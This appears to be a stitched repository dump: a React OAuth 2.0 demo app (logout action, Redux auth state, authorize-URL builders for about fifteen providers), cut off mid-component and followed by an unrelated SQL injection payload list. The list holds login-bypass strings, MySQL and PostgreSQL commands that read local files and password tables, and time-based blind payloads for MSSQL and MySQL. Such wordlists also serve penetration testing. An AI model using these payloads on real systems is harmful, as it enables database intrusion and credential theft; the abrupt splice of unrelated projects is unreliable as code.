6 | import { logoutUnsetUserLocalStorage } from 'modules/user/api/actions/query'
7 |
8 | // Log out user and remove token from localStorage
9 | export default function logout() {
10 | return (dispatch) => {
11 | logoutUnsetUserLocalStorage()
12 |
13 | delete axios.defaults.headers.common['Authorization']
14 |
15 | dispatch({
16 | type: LOGOUT,
17 | })
18 |
19 | dispatch({
20 | type: 'RESET',
21 | })
22 |
23 | // Clear cache
24 | for (let key in localStorage) {
25 | if (key.indexOf('CACHE.KEY/') !== -1) {
26 | window.localStorage.removeItem(key)
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/query/logoutUnsetUserLocalStorage.js:
--------------------------------------------------------------------------------
1 | // Unset user token and info in localStorage and cookie
2 | export default function logoutUnsetUserLocalStorage() {
3 | // Remove token
4 | window.localStorage.removeItem('token')
5 | window.localStorage.removeItem('user')
6 | }
7 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/query/profile.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { URL_API } from 'setup/config/env'
6 |
7 | // Profile
8 | export default function profile() {
9 | return axios.post(URL_API, {
10 | operation: 'userProfile',
11 | })
12 | }
13 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/types.js:
--------------------------------------------------------------------------------
1 | // Actions Types
2 |
3 | // Auth
4 | export const SET_USER = 'AUTH/SET_USER'
5 | export const LOGOUT = 'AUTH/LOGOUT'
6 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/state/auth.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import isEmpty from 'lodash/isEmpty'
3 |
4 | // App Imports
5 | import { SET_USER, LOGOUT } from '../actions/types'
6 |
7 | // Auth (user)
8 |
9 | // Initial State
10 |
11 | export const authInitialState = {
12 | isAuthenticated: false,
13 | user: null,
14 | }
15 |
16 | // State
17 | export default (state = authInitialState, action) => {
18 | switch (action.type) {
19 | case SET_USER:
20 | return {
21 | ...state,
22 | isAuthenticated: !isEmpty(action.user),
23 | user: action.user,
24 | }
25 |
26 | case LOGOUT:
27 | return authInitialState
28 |
29 | default:
30 | return state
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/state/index.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import auth from './auth'
3 |
4 | export default {
5 | auth,
6 | }
7 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/config/env.js:
--------------------------------------------------------------------------------
1 | // Configurations
2 |
3 | // URL
4 | export const URL_API = process.env.REACT_APP_URL_API
5 | export const URL_WEB = process.env.REACT_APP_URL_WEB
6 |
7 | // Oauth
8 | export const OAUTH_FACEBOOK_ID = process.env.REACT_APP_OAUTH_FACEBOOK_ID
9 | export const OAUTH_GOOGLE_ID = process.env.REACT_APP_OAUTH_GOOGLE_ID
10 | export const OAUTH_INSTAGRAM_ID = process.env.REACT_APP_OAUTH_INSTAGRAM_ID
11 | export const OAUTH_LINKEDIN_ID = process.env.REACT_APP_OAUTH_LINKEDIN_ID
12 | export const OAUTH_TWITTER_ID = process.env.REACT_APP_OAUTH_TWITTER_ID
13 | export const OAUTH_REDDIT_ID = process.env.REACT_APP_OAUTH_REDDIT_ID
14 | export const OAUTH_DISCORD_ID = process.env.REACT_APP_OAUTH_DISCORD_ID
15 | export const OAUTH_ZOOM_ID = process.env.REACT_APP_OAUTH_ZOOM_ID
16 |
17 | export const OAUTH_GITHUB_ID = process.env.REACT_APP_OAUTH_GITHUB_ID
18 | export const OAUTH_GITLAB_ID = process.env.REACT_APP_OAUTH_GITLAB_ID
19 | export const OAUTH_DIGITALOCEAN_ID = process.env.REACT_APP_OAUTH_DIGITALOCEAN_ID
20 | export const OAUTH_BITBUCKET_ID = process.env.REACT_APP_OAUTH_BITBUCKET_ID
21 | export const OAUTH_AZURE_ID = process.env.REACT_APP_OAUTH_AZURE_ID
22 | export const OAUTH_AZURE_TENANT = process.env.REACT_APP_OAUTH_AZURE_TENANT
23 |
24 | export const OAUTH_SPOTIFY_ID = process.env.REACT_APP_OAUTH_SPOTIFY_ID
25 | export const OAUTH_SHOPIFY_ID = process.env.REACT_APP_OAUTH_SHOPIFY_ID
26 | export const OAUTH_SHOPIFY_STORE = process.env.REACT_APP_OAUTH_SHOPIFY_STORE
27 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/config/params.js:
--------------------------------------------------------------------------------
1 | // Params
2 | export default {
3 | site: {
4 | name: 'OAuth',
5 | description: 'OAuth 2.0 examples for various providers in one place',
6 | author: 'Atul Yadav',
7 | url: 'https://github.com/atulmy/oauth',
8 | copyright: '© 2020',
9 | },
10 |
11 | // common
12 | common: {
13 | date: 'YYYY-MM-DD hh:mm a',
14 | },
15 |
16 | // user
17 | user: {
18 | oauth: {
19 | providers: {
20 | facebook: {
21 | key: 'facebook',
22 | title: 'Facebook',
23 | },
24 |
25 | google: {
26 | key: 'google',
27 | title: 'Google',
28 | },
29 |
30 | instagram: {
31 | key: 'instagram',
32 | title: 'Instagram',
33 | },
34 |
35 | linkedin: {
36 | key: 'linkedin',
37 | title: 'LinkedIn',
38 | },
39 |
40 | twitter: {
41 | key: 'twitter',
42 | title: 'Twitter',
43 | },
44 |
45 | reddit: {
46 | key: 'reddit',
47 | title: 'Reddit',
48 | },
49 |
50 | discord: {
51 | key: 'discord',
52 | title: 'Discord',
53 | },
54 |
55 | zoom: {
56 | key: 'zoom',
57 | title: 'Zoom',
58 | },
59 |
60 | github: {
61 | key: 'github',
62 | title: 'Github',
63 | },
64 |
65 | gitlab: {
66 | key: 'gitlab',
67 | title: 'Gitlab',
68 | },
69 |
70 | digitalocean: {
71 | key: 'digitalocean',
72 | title: 'DigitalOcean',
73 | },
74 |
75 | bitbucket: {
76 | key: 'bitbucket',
77 | title: 'Bitbucket',
78 | },
79 |
80 | azure: {
81 | key: 'azure',
82 | title: 'Azure',
83 | },
84 |
85 | spotify: {
86 | key: 'spotify',
87 | title: 'Spotify',
88 | },
89 |
90 | shopify: {
91 | key: 'shopify',
92 | title: 'Shopify',
93 | },
94 | },
95 | },
96 | },
97 | }
98 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/azure.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_AZURE_ID, OAUTH_AZURE_TENANT } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // azure
10 | export default function azure() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: `https://login.microsoftonline.com/${OAUTH_AZURE_TENANT}/oauth2/v2.0/authorize`,
14 | query: {
15 | client_id: OAUTH_AZURE_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | response_type: 'code',
18 | response_mode: 'query',
19 | scope: [
20 | 'offline_access',
21 | 'openid',
22 | 'email',
23 | 'profile',
24 | 'https://graph.microsoft.com/user.read',
25 | ].join(' '),
26 | state: params.user.oauth.providers.azure.key,
27 | },
28 | },
29 | { encode: false },
30 | )
31 |
32 | console.log(url)
33 |
34 | return url
35 | }
36 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/bitbucket.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { OAUTH_BITBUCKET_ID } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 |
8 | // bitbucket
9 | export default function bitbucket() {
10 | const url = queryString.stringifyUrl(
11 | {
12 | url: 'https://bitbucket.org/site/oauth2/authorize',
13 | query: {
14 | client_id: OAUTH_BITBUCKET_ID,
15 | response_type: 'code',
16 | state: params.user.oauth.providers.bitbucket.key,
17 | },
18 | },
19 | { encode: false },
20 | )
21 |
22 | console.log(url)
23 |
24 | return url
25 | }
26 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/digitalocean.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_DIGITALOCEAN_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // digitalocean
10 | export default function digitalocean() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://cloud.digitalocean.com/v1/oauth/authorize',
14 | query: {
15 | client_id: OAUTH_DIGITALOCEAN_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | scope: 'read',
18 | response_type: 'code',
19 | state: params.user.oauth.providers.digitalocean.key,
20 | },
21 | },
22 | { encode: false },
23 | )
24 |
25 | console.log(url)
26 |
27 | return url
28 | }
29 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/discord.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_DISCORD_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // discord
10 |
11 | export default function discord() {
12 | const url = queryString.stringifyUrl(
13 | {
14 | url: 'https://discordapp.com/api/oauth2/authorize',
15 | query: {
16 | client_id: OAUTH_DISCORD_ID,
17 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
18 | response_type: 'code',
19 | scope: 'identify email',
20 | state: params.user.oauth.providers.discord.key,
21 | },
22 | },
23 | { encode: false },
24 | )
25 |
26 | console.log(url)
27 |
28 | return url
29 | }
30 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/facebook.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_FACEBOOK_ID } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 | import routes from 'setup/routes'
8 |
9 | // facebook
10 | export default function facebook() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://www.facebook.com/v6.0/dialog/oauth',
14 | query: {
15 | client_id: OAUTH_FACEBOOK_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | scope: `email`,
18 | state: params.user.oauth.providers.facebook.key,
19 | },
20 | },
21 | { encode: false },
22 | )
23 |
24 | console.log(url)
25 |
26 | return url
27 | }
28 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/github.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_GITHUB_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // github
10 | export default function github() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://github.com/login/oauth/authorize',
14 | query: {
15 | client_id: OAUTH_GITHUB_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | scope: 'read:user repo',
18 | state: params.user.oauth.providers.github.key,
19 | },
20 | },
21 | { encode: false },
22 | )
23 |
24 | console.log(url)
25 |
26 | return url
27 | }
28 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/gitlab.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_GITLAB_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // gitlab
10 | export default function gitlab() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://gitlab.com/oauth/authorize',
14 | query: {
15 | client_id: OAUTH_GITLAB_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | scope: 'read_user+profile+email',
18 | response_type: 'code',
19 | state: params.user.oauth.providers.gitlab.key,
20 | },
21 | },
22 | { encode: false },
23 | )
24 |
25 | console.log(url)
26 |
27 | return url
28 | }
29 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/google.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_GOOGLE_ID } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 | import routes from 'setup/routes'
8 |
9 | // google
10 | export default function google() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://accounts.google.com/o/oauth2/v2/auth',
14 | query: {
15 | client_id: OAUTH_GOOGLE_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | scope: [
18 | 'https://www.googleapis.com/auth/userinfo.email',
19 | 'https://www.googleapis.com/auth/userinfo.profile',
20 | ].join(' '),
21 | response_type: 'code',
22 | access_type: 'offline',
23 | prompt: 'consent',
24 | state: params.user.oauth.providers.google.key,
25 | },
26 | },
27 | { encode: false },
28 | )
29 |
30 | console.log(url)
31 |
32 | return url
33 | }
34 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/instagram.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_INSTAGRAM_ID } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 | import routes from 'setup/routes'
8 |
9 | // instagram
10 | export default function instagram() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://api.instagram.com/oauth/authorize',
14 | query: {
15 | client_id: OAUTH_INSTAGRAM_ID,
16 | // redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`, // for live
17 | redirect_uri: `https://example.com${routes.pagesAuthorize.path}/`, // for testing
18 | scope: 'user_profile,user_media',
19 | response_type: 'code',
20 | state: params.user.oauth.providers.instagram.key,
21 | },
22 | },
23 | { encode: false },
24 | )
25 |
26 | console.log(url)
27 |
28 | return url
29 | }
30 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/linkedin.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_LINKEDIN_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // linkedin
10 | export default function linkedin() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: `https://www.linkedin.com/oauth/v2/authorization`,
14 | query: {
15 | client_id: OAUTH_LINKEDIN_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | response_type: 'code',
18 | scope: ['r_emailaddress', 'r_liteprofile', 'w_member_social'].join(' '),
19 | state: params.user.oauth.providers.linkedin.key,
20 | },
21 | },
22 | { encode: false },
23 | )
24 |
25 | console.log(url)
26 |
27 | return url
28 | }
29 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/reddit.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_REDDIT_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // reddit
10 | export default function reddit() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://www.reddit.com/api/v1/authorize',
14 | query: {
15 | client_id: OAUTH_REDDIT_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | response_type: 'code',
18 | duration: 'temporary',
19 | scope: 'identity',
20 | state: params.user.oauth.providers.reddit.key,
21 | },
22 | },
23 | { encode: false },
24 | )
25 |
26 | console.log(url)
27 |
28 | return url
29 | }
30 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/shopify.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import {
6 | URL_WEB,
7 | OAUTH_SHOPIFY_ID,
8 | OAUTH_SHOPIFY_STORE,
9 | } from 'setup/config/env'
10 | import routes from 'setup/routes'
11 | import params from 'setup/config/params'
12 |
13 | // shopify
14 | export default function shopify() {
15 | const url = queryString.stringifyUrl(
16 | {
17 | url: `https://${OAUTH_SHOPIFY_STORE}.myshopify.com/admin/oauth/authorize`,
18 | query: {
19 | client_id: OAUTH_SHOPIFY_ID,
20 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
21 | scope: ['read_orders'].join(','),
22 | response_type: 'code',
23 | nonce: `${Date.now()}`,
24 | state: params.user.oauth.providers.shopify.key,
25 | },
26 | },
27 | { encode: false },
28 | )
29 |
30 | console.log(url)
31 |
32 | return url
33 | }
34 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/spotify.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_SPOTIFY_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // spotify
10 | export default function spotify() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://accounts.spotify.com/authorize',
14 | query: {
15 | client_id: OAUTH_SPOTIFY_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | scope: ['user-read-email'].join(' '),
18 | response_type: 'code',
19 | state: params.user.oauth.providers.spotify.key,
20 | },
21 | },
22 | { encode: false },
23 | )
24 |
25 | console.log(url)
26 |
27 | return url
28 | }
29 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/twitter.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_TWITTER_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // twitter
10 | export default function twitter() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: `https://twitter.com/i/oauth2/authorize`,
14 | query: {
15 | client_id: OAUTH_TWITTER_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | response_type: 'code',
18 | scope: ['offline.access', 'users.read', 'tweet.read'].join(' '),
19 | code_challenge: 'code_challenge',
20 | code_challenge_method: 'plain',
21 | state: params.user.oauth.providers.twitter.key,
22 | },
23 | },
24 | { encode: false },
25 | )
26 |
27 | console.log(url)
28 |
29 | return url
30 | }
31 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/oauth/zoom.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import * as queryString from 'query-string'
3 |
4 | // App imports
5 | import { URL_WEB, OAUTH_ZOOM_ID } from 'setup/config/env'
6 | import routes from 'setup/routes'
7 | import params from 'setup/config/params'
8 |
9 | // github
10 | export default function zoom() {
11 | const url = queryString.stringifyUrl(
12 | {
13 | url: 'https://zoom.us/oauth/authorize',
14 | query: {
15 | client_id: OAUTH_ZOOM_ID,
16 | redirect_uri: `${URL_WEB}${routes.pagesAuthorize.path}/`,
17 | response_type: 'code',
18 | state: params.user.oauth.providers.zoom.key,
19 | },
20 | },
21 | { encode: false },
22 | )
23 |
24 | console.log(url)
25 |
26 | return url
27 | }
28 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/routes.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import PagesHome from 'modules/pages/Home'
3 | import PagesAuthorize from 'modules/pages/Authorize'
4 | import UserDashboard from 'modules/user/Dashboard'
5 | import UserProfile from 'modules/user/Profile'
6 | import NoteList from 'modules/note/List'
7 |
8 | // Combined routes
9 | const routes = {
10 | // pages home
11 | pagesHome: {
12 | path: '/',
13 | component: PagesHome,
14 | exact: true,
15 | },
16 |
17 | // pages authorize
18 | pagesAuthorize: {
19 | path: '/authorize',
20 | component: PagesAuthorize,
21 | },
22 |
23 | // user dashboard
24 | userDashboard: {
25 | path: '/dashboard',
26 | component: UserDashboard,
27 | auth: true,
28 | },
29 |
30 | // user profile
31 | userProfile: {
32 | path: '/profile',
33 | component: UserProfile,
34 | auth: true,
35 | },
36 |
37 | // note list
38 | noteList: {
39 | path: '/notes',
40 | component: NoteList,
41 | auth: true,
42 | },
43 | }
44 |
45 | export default routes
46 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/setup/store.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import { createStore, combineReducers, applyMiddleware } from 'redux'
3 | import thunk from 'redux-thunk'
4 |
5 | // App imports
6 | import user from '../modules/user/api/state'
7 |
8 | // Root Reducer
9 | const rootReducer = combineReducers({
10 | ...user,
11 | })
12 |
13 | // Store
14 | export const store = createStore(rootReducer, applyMiddleware(thunk))
15 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/ui/Button/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import React from 'react'
3 |
4 | // UI imports
5 | import './style.css'
6 |
7 | // Component
8 | const Button = ({ isLoading = false, title, image, as = 'button', ...props }) =>
9 | React.createElement(
10 | as,
11 | { className: 'button', ...props },
12 | <>
13 | {image ?
21 | {label}
22 | {required && ' *'}
23 |
24 | )}
25 |
26 | ' OR 1=1--
2 | 'OR '' = ' Allows authentication without a valid username.
3 | '--
4 | ' union select 1, '', '' 1--
5 | 'OR 1=1--
6 |
--------------------------------------------------------------------------------
/sql-injection/sql-injection-payload-list/Intruder/exploit/MySQL/mysql-read-local-files.txt:
--------------------------------------------------------------------------------
1 | create table myfile (input TEXT); load data infile '' into table myfile; select * from myfile;
2 |
--------------------------------------------------------------------------------
/sql-injection/sql-injection-payload-list/Intruder/exploit/PostgresSQL/postgres-enumeration.txt:
--------------------------------------------------------------------------------
1 | select version();
2 | select current_database();
3 | select current_user;
4 | select session_user;
5 | select current_setting('log_connections');
6 | select current_setting('log_statement');
7 | select current_setting('port');
8 | select current_setting('password_encryption');
9 | select current_setting('krb_server_keyfile');
10 | select current_setting('virtual_host');
11 | select current_setting('port');
12 | select current_setting('config_file');
13 | select current_setting('hba_file');
14 | select current_setting('data_directory');
15 | select * from pg_shadow;
16 | select * from pg_group;
17 | create table myfile (input TEXT);
18 | copy myfile from '/etc/passwd';
19 | select * from myfile;copy myfile to /tmp/test;
20 |
--------------------------------------------------------------------------------
/sql-injection/sql-injection-payload-list/Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-WHERE.txt:
--------------------------------------------------------------------------------
1 | waitfor delay '0:0:20' /*
2 | waitfor delay '0:0:20' --
3 | ' waitfor delay '0:0:20' /*
4 | ' waitfor delay '0:0:20' --
5 | " waitfor delay '0:0:20' /*
6 | " waitfor delay '0:0:20' --
7 | ) waitfor delay '0:0:20' /*
8 | ) waitfor delay '0:0:20' --
9 | )) waitfor delay '0:0:20' /*
10 | )) waitfor delay '0:0:20' --
11 | ))) waitfor delay '0:0:20' /*
12 | ))) waitfor delay '0:0:20' --
13 | )))) waitfor delay '0:0:20' /*
14 | )))) waitfor delay '0:0:20' --
15 | ))))) waitfor delay '0:0:20' --
16 | )))))) waitfor delay '0:0:20' --
17 | ') waitfor delay '0:0:20' /*
18 | ') waitfor delay '0:0:20' --
19 | ") waitfor delay '0:0:20' /*
20 | ") waitfor delay '0:0:20' --
21 | ')) waitfor delay '0:0:20' /*
22 | ')) waitfor delay '0:0:20' --
23 | ")) waitfor delay '0:0:20' /*
24 | ")) waitfor delay '0:0:20' --
25 | '))) waitfor delay '0:0:20' /*
26 | '))) waitfor delay '0:0:20' --
27 | "))) waitfor delay '0:0:20' /*
28 | "))) waitfor delay '0:0:20' --
29 | ')))) waitfor delay '0:0:20' /*
30 | ')))) waitfor delay '0:0:20' --
31 | ")))) waitfor delay '0:0:20' /*
32 | ")))) waitfor delay '0:0:20' --
33 | '))))) waitfor delay '0:0:20' /*
34 | '))))) waitfor delay '0:0:20' --
35 | "))))) waitfor delay '0:0:20' /*
36 | "))))) waitfor delay '0:0:20' --
37 | ')))))) waitfor delay '0:0:20' /*
38 | ')))))) waitfor delay '0:0:20' --
39 | ")))))) waitfor delay '0:0:20' /*
40 | ")))))) waitfor delay '0:0:20' --
--------------------------------------------------------------------------------
/sql-injection/sql-injection-payload-list/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-ORDER_BY.txt:
--------------------------------------------------------------------------------
1 | ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
2 | ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
3 | ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
4 | ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
5 | ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
6 | ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
7 | ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
8 | ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
9 | ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
10 | ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
11 | ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
12 | ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
13 | '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
14 | '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
15 | '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
16 | "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
17 | "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
18 | "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
19 |
--------------------------------------------------------------------------------
/sql-injection/sql-injection-payload-list/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-WHERE.txt:
--------------------------------------------------------------------------------
1 | and 0=benchmark(3000000,MD5(1))%20/*
2 | and 0=benchmark(3000000,MD5(1))%20--
3 | and 0=benchmark(3000000,MD5(1))%20%23
4 | ' and 0=benchmark(3000000,MD5(1))%20/*
5 | ' and 0=benchmark(3000000,MD5(1))%20--
6 | ' and 0=benchmark(3000000,MD5(1))%20%23
7 | " and 0=benchmark(3000000,MD5(1))%20/*
8 | " and 0=benchmark(3000000,MD5(1))%20--
9 | " and 0=benchmark(3000000,MD5(1))%20%23
10 | ) and 0=benchmark(3000000,MD5(1))%20/*
11 | ) and 0=benchmark(3000000,MD5(1))%20--
12 | ) and 0=benchmark(3000000,MD5(1))%20%23
13 | )) and 0=benchmark(3000000,MD5(1))%20/*
14 | )) and 0=benchmark(3000000,MD5(1))%20--
15 | )) and 0=benchmark(3000000,MD5(1))%20%23
16 | ))) and 0=benchmark(3000000,MD5(1))%20/*
17 | ))) and 0=benchmark(3000000,MD5(1))%20--
18 | ))) and 0=benchmark(3000000,MD5(1))%20%23
19 | )))) and 0=benchmark(3000000,MD5(1))%20/*
20 | )))) and 0=benchmark(3000000,MD5(1))%20--
21 | )))) and 0=benchmark(3000000,MD5(1))%20%23
22 | ') and 0=benchmark(3000000,MD5(1))%20/*
23 | ') and 0=benchmark(3000000,MD5(1))%20--
24 | ') and 0=benchmark(3000000,MD5(1))%20%23
25 | ") and 0=benchmark(3000000,MD5(1))%20/*
26 | ") and 0=benchmark(3000000,MD5(1))%20--
27 | ") and 0=benchmark(3000000,MD5(1))%20%23
28 | ')) and 0=benchmark(3000000,MD5(1))%20/*
29 | ')) and 0=benchmark(3000000,MD5(1))%20--
30 | ')) and 0=benchmark(3000000,MD5(1))%20%23
31 | ")) and 0=benchmark(3000000,MD5(1))%20/*
32 | ")) and 0=benchmark(3000000,MD5(1))%20--
33 | ")) and 0=benchmark(3000000,MD5(1))%20%23
34 | '))) and 0=benchmark(3000000,MD5(1))%20/*
35 | '))) and 0=benchmark(3000000,MD5(1))%20--
36 | '))) and 0=benchmark(3000000,MD5(1))%20%23
37 | "))) and 0=benchmark(3000000,MD5(1))%20/*
38 | "))) and 0=benchmark(3000000,MD5(1))%20--
39 | "))) and 0=benchmark(3000000,MD5(1))%20%23
40 | ')))) and 0=benchmark(3000000,MD5(1))%20/*
41 | ')))) and 0=benchmark(3000000,MD5(1))%20--
42 | ')))) and 0=benchmark(3000000,MD5(1))%20%23
43 | ")))) and 0=benchmark(3000000,MD5(1))%20/*
44 | ")))) and 0=benchmark(3000000,MD5(1))%20--
45 | ")))) and 0=benchmark(3000000,MD5(1))%20%23
